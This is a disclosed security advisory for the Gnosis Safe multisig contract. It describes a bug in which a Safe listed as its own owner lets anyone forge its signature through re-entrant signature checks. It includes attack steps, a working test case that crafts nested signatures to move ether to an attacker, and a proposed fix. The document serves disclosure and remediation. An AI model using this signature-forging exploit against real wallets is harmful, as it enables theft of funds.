Adding the Safe itself as an owner has the same effect as reducing the threshold by 1

[rmeissner]

Description

Adding the Safe itself as an owner essentially has the effect as lowering the threshold by one, as it is possible for anyone to generate a valid signature for the Safe itself when triggering execTransaction. This goes as far as lowering the threshold to "0", in the sense that if you have a threshold of 1 and one of the owners is the Safe itself it is possible for anyone to execute a transaction.

Details (bug bounty submission by @keviinfoes)

Execution steps

1. The attacker ensures that the safe address is added as an owner.
2. The attacker calls the execTransaction() function with his signature and the safe signage (v = 0, r = address safe, s = safe signature [ v = 1]).
   2a. execTransaction() calls checkSignatures() that checks the v = 0 signature for the safe by calling isValidSignature()
   2b. isValidSignature() re-enters checkSignatures() that then checks the v = 1 signature for the safe. Because the safe == msg.sender this call will succeed.
   2c. Because 2b succeeds isValidSignature() will return the EIP1271_MAGIC_VALUE and the check for v = 0 will also succeed.
3. The signature check is finished and the safe will now execute the attack transaction, for example send all funds to the attacker.

Test case

//Example attack
it('Attack safe owner', async () => {
   //Add safe (address) as owner and set threshold to 1 for test
   await web3.eth.sendTransaction({from: accounts[0], to: gnosisSafe.address, value: web3.utils.toWei("1", 'ether')})
   let data = await gnosisSafe.contract.methods.addOwnerWithThreshold(gnosisSafe.address, 1).encodeABI()
   await safeUtils.executeTransaction(lw, gnosisSafe, 'attack: add safe address', [lw.accounts[0], lw.accounts[2]], gnosisSafe.address, 0, data, CALL, executor)
   let amount = await web3.eth.getBalance(executor)
   //Steal funds - transfer to executor address
   let sigV1 = "0000000000000000000000000000000000000000000000000000000000000041" + "000000000000000000000000" + gnosisSafe.address.replace('0x', '') + "0000000000000000000000000000000000000000000000000000000000000000" + "01"
   let sigV0 = "0x" + "000000000000000000000000" + gnosisSafe.address.replace('0x', '') + "0000000000000000000000000000000000000000000000000000000000000041" + "00" + sigV1
   await gnosisSafe.execTransaction(
        executor, web3.utils.toWei("0.9", 'ether'), "0x", CALL, 100000, 10000, 0, "0x0000000000000000000000000000000000000000", "0x0000000000000000000000000000000000000000", sigV0, {from: accounts[9]}
   )
   let amountNew = await web3.eth.getBalance(executor)
   let diff = amountNew - amount
   assert.equal(diff.toString(), '900000000000000000', "Attack: transfer failed")
})

Potential solution

Don't allow the safe as owner, require(owner != address(this), "Safe can't be an owner"). This check can be performed when adding owners and/or when checking signatures.

Affected Safes

Only a low number (lower single digits) of Safes used themselves as owners. Most of these Safes could be contacted and the Safe has been removed as an owner. The Safes still affected are Safes used for testing by us or Safes owned by a single owner with a threshold > 1 (so no immediate risk).